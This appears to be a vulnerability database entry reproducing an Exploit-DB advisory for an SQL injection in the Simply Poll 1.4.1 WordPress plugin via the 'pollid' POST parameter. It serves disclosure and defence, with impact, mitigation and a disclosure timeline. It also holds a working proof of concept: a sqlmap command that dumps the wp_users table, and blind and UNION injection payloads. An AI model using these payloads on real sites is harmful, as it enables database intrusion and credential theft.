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CVSS
CRITICAL
SQL Injection
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Product Name: Simply Poll
Affected Version From: <= 1.4.1
Affected Version To: <= 1.4.1
Patch Exists: NO
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2016

Simply Poll 1.4.1 Plugin for WordPress ­ SQL Injection

An unescaped parameter was found in Simply Poll version 1.4.1. ( WP plugin ). An attacker can exploit this vulnerability to read from the database. The POST parameter 'pollid' is vulnerable. An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access the filesystem may be possible.

Mitigation:

Input validation and escaping should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Simply Poll 1.4.1 Plugin for WordPress ­ SQL Injection
# Date: 21/12/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/simply-poll/
# Software Link: https://wordpress.org/plugins/simply-poll/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1 - Description

An unescaped parameter was found in Simply Poll version 1.4.1. ( WP
plugin ). An attacker can exploit this vulnerability to read from the
database.
The POST parameter 'pollid' is vulnerable.


2. Proof of Concept

  sqlmap -u "http://example.com/wp-admin/admin-ajax.php"
--data="action=spAjaxResults&pollid=2" --dump -T wp_users -D wordpress
--threads=10 --random-agent --dbms=mysql --level=5 --risk=3

Parameter: pollid (POST)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: action=spAjaxResults&pollid=2 AND 6034=6034

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: action=spAjaxResults&pollid=2 AND SLEEP(5)

     Type: UNION query
     Title: Generic UNION query (NULL) - 7 columns
     Payload: action=spAjaxResults&pollid=-7159 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x71706a7171,0x55746570525a68726d4a634844657
9564f524752646c786a5451775272645a6e734b766657534c44,0x7162627171),NULL--
CfNO


3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.


4 Impact:

Critical


5. Affected versions:

<= 1.4.1

6. Disclosure Timeline:

21-Dec-2016 ­ found the vulnerability
21-Dec-2016 ­ informed the developer
28-Dec-2016 ­ release date of this security advisory

Not fixed at the date of submitting that exploit.